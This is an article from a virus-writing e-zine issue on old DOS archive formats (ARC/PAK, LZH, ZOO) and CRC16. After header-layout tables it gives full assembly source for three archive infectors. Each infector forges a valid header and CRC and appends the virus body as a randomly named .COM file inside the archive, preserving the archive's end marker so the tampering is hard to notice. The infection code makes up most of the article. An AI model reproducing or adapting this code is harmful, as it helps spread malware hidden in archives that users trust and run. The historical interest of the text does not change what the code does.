Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 112
/-----------------------------\
| Xine - issue #3 - Phile 112 |
\-----------------------------/
Dropping over old archives
A view on the past , LZH , ARC/PAK , ZOO , CRC16
Intro
+-----+
Long time ago when zip rar & arj weren't too much used, there were some more
known archives because they imposed themseves on the amiga or the atari
scene. Those formats are totally forgotten now , but I found it interesting
to study them in the Archive infector series , so Enjoy!
The CRC16
+---------+
What's the CRC16 , the same thing than the CRC32 but smaller and using a 512
bytes table zone , see its code
rendertable:
mov bx,0a001h
mov di,offset starttable ; render 512 bytes in di
xor dx,dx
crc_jnz:
mov ax,dx ; calculations ...
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja ; anomality to complexify
xor ax,bx ; the table
crc16_ja: loop crc16_loop ; do it 8 times
stosw ; put a word
inc dl ; do it 256 times
jnz crc_jnz ; go for it!
ret
When you have done that you done the CRC calculation, the scheme is the same
than in CRC_16 file , so si = offset of start CRC calc & cx = number of thoz
crc_calc16:
push bx ; save handle
push cx
call rendertable ; build the table
pop cx
cld
xor ax,ax
xor bx,bx ; reset ax , bx
render_loop:
lodsb ; get byte ds:si
xor bl,al ; render it
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable] ; include here the
xor bx,ax ; table
loop render_loop
xchg bx,dx ; push crc result
; into dx
pop bx
ret
The ARC format
+--------------+
NB: Arc are know as ARC/PAK extension , this two means the same thing
NB II: (I give a big thanks to Raymond Clay from whom I take his ARC
description here )
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 ARCID DB $1A
01 ARCMTD DB 00 ;Method
value: 0 = end of archive 8 = crunched after packin LZW
1-2 = unused/unpacked 9 = squashed
3 = rle encoding 10 = crushed
4 = squezzed 11 = distilled
5 = crunched 12-19 : unknown
6 = packing + crunched 40 = reserved
7 = packing/crunched with algo
02 ARCFNT DS 12 ;filename
0E DB 00
0F ARCNSZ HEX 00000000 ;Compressed size
13 ARCDAT DW 0000 ;File date (MSDOS)
15 ARCTIM DW 0000 ;File time (MSDOS)
17 ARCCRC DW 0000
19 ARCOSZ HEX 00000000 ;Uncompressed size
ARC Infection
+--------------+
Erm , a precision first , there's a little packet at the end of the ARC file
you must preserve , some ARC file have it , other not , two are good but you
can't drop over a file who have a last packet ,then you must detect the last
packet , at all arc/pak file , it was at the end-12 of the file , then you
can easily save it somewhere ( those I have seen )
1ø Go to the end-256
2ø Read 256 and scan for dead packet
3ø Save dead packet and write header at this offset
4ø Write the header
5ø Write virus
6ø Close the file
The LZH format
+--------------+
NB (I give a big thanks to Raymond Clay from whom I take his LZH description
here )
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 LZHHSZ DB 0 ;Header size
01 LZHCKS DB 0 ;Cksum of remaining bytes
02 LZHMTD ASC '-lh0-' ;Method
07 LZHNSZ HEX 00000000 ;Compressed size
0B LZHOSZ HEX 00000000 ;Uncompressed size
0F LZHTIM DW 0000 ;File time (MSDOS)
11 LZHDAT DW 0000 ;File date (MSDOS)
13 LZHATR DW 0000 ;File attribute
15 LZHFNL DB 00 ;filename/path length
16 LZHFNT DS LZHFNL ;filename/path
2B LZHCRC DW 0000 ;CRC-16
LZH infection
+-------------+
NB: There's some crappy code at the end of the virus , I don't know what's
that and in some archives it doesn't exist , anyway I wrote something to
detect it then no problemo
Go to the end , drop an header , drop the virus , and it's finished!
The ZOO format
+--------------+
NB (I give a big thanks to Raymond Clay from whom I take his ZOO description
here )
There are two parts, the first 20 bytes of the file are crappy code , good to
put a a virus mark etc etc , zoo is a well good locked archive because offset
goes header by header , but don't panick for our virus , the last header
point to a kinda death packet, we just have to find it and rewrite the header
and the virus
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 DS 20
14 ZOOSIG HEX A7DCFDC4 ;File signature
18 ZOO1PTR HEX 00000000 ;pointer to 1st header
1C ZOO? HEX 00000000 ;?
20 ZOOMVER DB 00 ;version making archive
21 ZOOMIN DB 00 ;minimum version needed to extract
FILE HEADER
-----------
OFFSET LABEL TYP VALUE DESCRIPTION
------ ----------- ---- ----------- ----------------------------------
00 ZOOFSIG HEX A7DCFDC4 ;signature
04 ZOOFTYP DB 00 ;?
06 ZOOFCMP DB 00 ;Compression method
value: 0 = Stored
1 = Crunched
08 ZOOFNXH HEX 00000000 ;Nxt hdr ofst frm Start of ZOO file
0A ZOOFCUR HEX 00000000 ;Offset of this hdr
0E ZOOFDAT DW 0000 ;Last mod file date (MS-DOS)
10 ZOOFTIM DW 0000 ;Last mod file time (MS-DOS)
12 ZOOFCRC DW 0000 ;CRC-16
14 ZOOFOSZ HEX 00000000 ;Uncompressed size
18 ZOOFNSZ HEX 00000000 ;Compressed size
1C ZOOFMVER DB 00 ;version that made this file
1D ZOOFMIN DB 00 ;minimum version needed to extract
1E Z00FDEL DB 00 ;1 if file deleted from archive
1F ZOOFCMTP HEX 00000000 ;pointer to comment, 0 if none
23 ZOOFCMTL DW 0000 ;length of comment
25 ZOOFNAM DS 13 ;filename
ZOO infection
+-------------+
Go to the end , search the death packet , build & drop an header , drop the
virus , and it's finish!
Here's those code , any suggestion is welcome
- ARC INFECTOR ( test it with the appropried name file ) - - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h ; open file
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh ; read first 256 bytes
mov cx,256
mov dx,offset temporary1
int 21h
cmp byte ptr [temporary1],1Ah ; test it if ARC archive
jne ARC_invalid
call ARC_header ; build an header
mov al,02
call go
sub ax,12
sbb dx,0
push ax
push dx
push ax
push dx
pop cx
pop dx
xor ax,ax
call gozero ; go to the end-12
mov ah,3fh
mov cx,12
mov dx,offset betaname
int 21h ; read 12 bytes
cmp byte ptr [betaname],01ah ; test for death header mark
jne Arc_invalid
pop cx
pop dx
xor ax,ax
call gozero
mov ah,40h
mov cx,1dh
mov dx,offset temporary1
int 21h ; write our header
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h ; write our virus
mov ah,40h
mov cx,12
mov dx,offset betaname
int 21h ; write our death header
ARC_invalid:
mov ah,3Eh ; close the file
int 21h
ret
ARC_header:
mov bp,offset [temporary1]
mov byte ptr [bp+1],2 ; method = 2 no compression
call set_a_name
lea di,[bp+2]
mov si,offset betaname
repz movsb
mov word ptr [bp+0fh],fin-start
mov word ptr [bp+0fh+2],0
mov word ptr [bp+19h],fin-start
mov word ptr [bp+19h+2],0
mov si,offset start
mov cx,fin-start
call crc_calc16
mov word ptr [bp+17h],dx
ret
set_a_name: ; set a random name
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go:
xor cx,cx
xor dx,dx
gozero:
mov ah,42h
int 21h
ret
crc_calc16: ; render crc of ds:si
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja: loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1: db 'yeye.pak',0
fin:
betaname: db 13 dup (?)
starttable: db 1024 dup (?)
db 2 dup (?)
temporary1: db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- ZOO INFECTOR ( test it with the appropried name file )- - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h ; open file
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh ; read 256 bytes
mov cx,256
mov dx,offset temporary1
int 21h
mov si,offset temporary1
add si,word ptr [temporary1+18h]
cmp word ptr [si],0A7DCh ; test zoo integrity
jne invalid_zoo
call zoo_header ; rebuild zoo header
mov al,2
call go ; go to the end-96
push ax
push dx
sub ax,96
sbb cx,0
push dx
push ax
pop dx
pop cx
xor ax,ax
call gozero
mov ah,3fh ; read 96 bytes
mov cx,96
mov dx,offset temporary1+256
int 21h
mov si,offset temporary1+256+96
zoo_scan:
cmp word ptr [si],0FDC4h ; test for last packet
je test_signature ; signature
Zoo_continue:
dec si
dec cx
jnz zoo_scan ; not found ?
pop dx
pop ax
invalid_zoo: ; then close the file
mov ah,3Eh
int 21h
ret
test_signature:
cmp word ptr [si-2],0A7DCh ; test the file
jne zoo_continue
mov bp,96 ; set location
sub bp,cx ; for bp
add bp,2
pop cx
pop dx
sub dx,bp
sbb cx,0
push cx
push dx
add dx,26h+13+15
adc cx,0
mov word ptr [di+10],dx ; offset of this
mov word ptr [di+10+2],cx ; header
add dx,fin-start
adc cx,0
mov word ptr [di+6],dx ; offset of the next
mov word ptr [di+6+2],cx ; header
pop dx
pop cx
xor ax,ax
call gozero ; go at the beginning
push ax
push dx
mov cx,bp
mov ah,3fh ; read 256 bytes
mov dx,offset temporary1+256
int 21h
pop cx
pop dx
xor ax,ax ; go to the beginning
call gozero
mov ah,40h ; write our header
mov cx,26h+13+15
mov dx,offset temporary1
add dx,word ptr [temporary1+18h]
int 21h
mov ah,40h ; write our virus
mov cx,fin-start
mov dx,offset start
int 21h
mov ah,40h ; write the last packet
mov cx,bp
mov dx,offset temporary1+256
int 21h
jmp invalid_zoo
zoo_header:
mov bp,si
mov byte ptr [bp+5],00
push bp
mov si,offset start
mov cx,fin-start
call crc_calc16 ; get crc16 of the
; virus
pop bp
mov word ptr [bp+12h],dx ; save it at 12H
mov word ptr [bp+1Fh],0 ; set no comment
mov word ptr [bp+1Fh+2],0 ;
mov word ptr [bp+1Fh+4],0 ; and no length comment
mov word ptr [bp+14h],fin-start ; compressed &
mov word ptr [bp+14h+2],0 ; uncompressed size
mov word ptr [bp+18h],fin-start
mov word ptr [bp+18h+2],0
call set_a_name ; render a new name
mov si,offset betaname ; put it into the
lea di,[bp+26h] ; header
repz movsb
mov di,bp
ret
set_a_name: ; dunno for kitchen ?
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go: ; Anti MS newbies piss off
xor cx,cx
xor dx,dx
gozero:
mov ah,42h
int 21h
ret
crc_calc16: ; Hey , politicaly incorrect
; -> fuck you usa
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja: loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1: db 'yeye.zoo',0
fin:
betaname: db 13 dup (?)
starttable: db 1024 dup (?)
db 2 dup (?)
temporary1: db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- LZH INFECTOR ( test it with the appropried name file )- - - - - - - - - -
.model tiny
.code
.286
org 100h
start:
mov ax,3d02h ; open filename
mov dx,offset name1
int 21h
xchg ax,bx
mov ah,3fh ; viva checkevara
mov cx,256
mov dx,offset temporary1
int 21h
cmp word ptr [temporary1+2],'l-' ; testlzh integrity
jne LZH_invalid
call LZH_header ; build lzh header
mov al,02
call go ; go to the end-7
sub ax,7
sbb dx,0
push ax
push dx
push ax
push dx
pop cx
pop dx
xor ax,ax
call gozero
mov ah,3fh ; read 7 bytes
mov cx,7
push cx
mov dx,offset betaname
push dx
int 21h
pop bp
pop cx
add bp,7
testforzero: ; test for a death
cmp byte ptr [bp],0 ; crappy packet
je continue
dec bp
dec cx
jnz testforzero
jmp LZH_invalid
continue: ;
mov bp,cx
pop ax
pop dx
add dx,cx
xchg ax,cx
xor ax,ax
call gozero ; go to the end
mov ah,40h
mov cx,2
add cl,byte ptr [temporary1]
mov dx,offset temporary1
int 21h ; write the header
mov ah,40h
mov cx,fin-start
mov dx,offset start
int 21h ; write the virus
mov ah,40h
mov cx,7
sub cx,bp
mov dx,offset betaname
add dx,bp
int 21h ; write the betapacket
LZH_invalid:
mov ah,3Eh ; close and return
int 21h
ret
LZH_header:
mov bp,offset [temporary1]
mov byte ptr [bp+5],'0' ; set no compression
mov word ptr [bp+7],fin-start ; set compressed & uncomprss
mov word ptr [bp+7+2],0 ; size
mov word ptr [bp+7+4],fin-start
mov word ptr [bp+7+4+2],0
call set_a_name ; generate a name
dec cx
mov byte ptr [bp+15h],cl
mov di,bp
add di,16h
mov si,offset betaname
repz movsb ; copy it
push di
push bp
mov si,offset start
mov cx,fin-start
call crc_calc16 ; get crc of the virus
pop bp
pop di
mov word ptr [di],dx
sub di,bp
mov cx,di
mov byte ptr [bp],cl ; then now , make the
; checksum of the header
lea si,[bp+2]
xor ax,ax
LZH_loop1:
add ah,byte ptr [si]
inc si
dec di
jnz LZH_loop1
mov byte ptr [bp+1],ah
ret
set_a_name: ; generate a name
mov ah,2Ch
int 21h
and cx,0000111100001111b
and dx,0000111100001111b
add cx,4141h
add dx,4141h
mov word ptr [betaname],cx
mov word ptr [betaname+2],dx
mov word ptr [betaname+4],'C.'
mov word ptr [betaname+6],'MO'
mov word ptr [betaname+8],0
mov cx,9
ret
go: ; don't wrote virus for
; glory
xor cx,cx ; money
xor dx,dx ; army
; in this case you'll survive
gozero:
mov ah,42h
int 21h
ret
crc_calc16:
push bx
push cx
call rendertable
pop cx
cld
xor ax,ax
xor bx,bx
render_loop:
lodsb
xor bl,al
mov al,bh
mov bh,ah
shl bx,1
mov bx,word ptr [bx+starttable]
xor bx,ax
loop render_loop
xchg bx,dx
pop bx
ret
rendertable:
mov bx,0a001h
mov di,offset starttable
xor dx,dx
crc_jnz:
mov ax,dx
mov cx,8
crc16_loop:
shr ax,1
jae crc16_ja
xor ax,bx
crc16_ja: loop crc16_loop
stosw
inc dl
jnz crc_jnz
ret
name1: db 'yeye.lzh',0
fin:
betaname: db 13 dup (?)
starttable: db 1024 dup (?)
db 2 dup (?)
temporary1: db 256 dup (?)
end start
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -